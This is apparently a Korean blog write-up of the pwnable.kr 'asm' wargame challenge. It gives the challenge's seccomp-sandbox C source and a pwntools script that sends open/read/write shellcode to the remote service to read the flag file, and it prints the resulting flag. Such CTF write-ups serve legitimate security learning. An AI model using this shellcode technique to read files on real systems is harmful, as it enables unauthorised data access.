728x90
이번 포스트에서는 Pwnable의 asm 문제에 대해 다루겠다.
문제 코드는 다음과 같다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
## 문제 해석 :
메인 함수 부분을 확인해보면 오직 open, read, write 함수를 이용해서 셸코드를 작성하라고 한다. 또한 readme를 확인해보면 다음과 같이 원격으로 접속해서 flag를 획득하라는 말이 있다.
## 문제 풀이 :
pwntools의 shellcraft를 이용하여 셸코드를 작성해보겠다.
from pwn import *
context(arch="amd64", os="linux")
shellcode = ""
shellcode += shellcraft.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
shellcode += shellcraft.open("rsp", 0, 0) # open(flag, O_RDONLY), rsp에 파일 push
shellcode += shellcraft.read("rax", "rsp", 100) # rax의 fd에서 100바이트 읽어서 저장
shellcode += shellcraft.write(1, "rsp", 100) # fd 출력
s = ssh(host="pwnable.kr", user="asm", port=2222, password="guest")
conn = s.connect_remote("localhost", 9026)
conn.recvuntil("give me your x64 shellcode: ")
conn.send(asm(shellcode))
conn.interactive()
## 최종 결과 :
### 실행 결과 :
Flag = Mak1ng_shelLcodE_i5_veRy_eaSy
'Wargame > Pwnable' 카테고리의 다른 글
Pwnable (17. memcpy) (0) | 2022.07.21 |
---|---|
Pwnable (16. uaf) (0) | 2022.07.20 |
Pwnable (15. cmd2) (0) | 2022.07.13 |
Pwnable (14. cmd1) (0) | 2022.07.12 |
Pwnable (13. lotto) (0) | 2022.07.11 |